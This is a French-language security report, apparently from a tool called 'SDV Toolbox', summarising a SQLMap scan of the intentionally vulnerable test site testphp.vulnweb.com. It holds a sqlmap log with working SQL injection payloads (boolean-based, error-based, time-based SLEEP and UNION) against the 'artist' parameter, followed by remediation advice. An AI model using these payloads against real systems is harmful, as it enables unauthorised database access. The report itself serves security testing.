■ SDV Toolbox - Rapport de Sécurité

Outil:	SQLMap
Date:	07/06/2025 à 16:47:13
Cible:	http://testphp.vulnweb.com/artists.php?artist=1
Opérateur:	SDV Security Team

■ Résultats de l'Analyse SQLMap

■ VULNÉRABILITÉS SQL CRITIQUES DÉTECTÉES

Métrique	Valeur
■ URL analysée	http://testphp.vulnweb.com/artists.php?artist=1
■ Vulnérabilités SQL	■ OUI - CRITIQUE
■ SGBD détecté	MySQL
■ Paramètres testés	1
■ Techniques utilisées	Boolean-based, Time-based, UNION query
■ Niveau de risque	CRITIQUE

■ Extrait du log SQLMap :

```
___
__H__
___ ___[,]_____ ___ ___ {1.8.11#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:47:13 /2025-06-07/

[16:47:13] [INFO] resuming back-end DBMS 'mysql'
[16:47:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 4271=4271

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: artist=1 AND GTID_SUBSET(CONCAT(0x7170787071,(SELECT (ELT(2040=2040,1))),0x717a6b6271),2040)

Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: artist=1 OR SLEEP(5)

Type: UNION query
```

Title: Generic UNION query (NULL) - 3 columns

■ RECOMMANDATIONS DE SÉCURITÉ URGENTES

• ■ URGENT : Vulnérabilités d'injection SQL critiques détectées

• Corrigez immédiatement en utilisant des requêtes préparées (prepared statements)

• Validez et échappez toutes les entrées utilisateur

• Implémentez une whitelist stricte pour les paramètres

• Surveillez les logs de base de données pour détecter les tentatives d'injection

• Implémentez un WAF (Web Application Firewall)

• Effectuez des audits de sécurité réguliers

• Maintenez vos systèmes de base de données à jour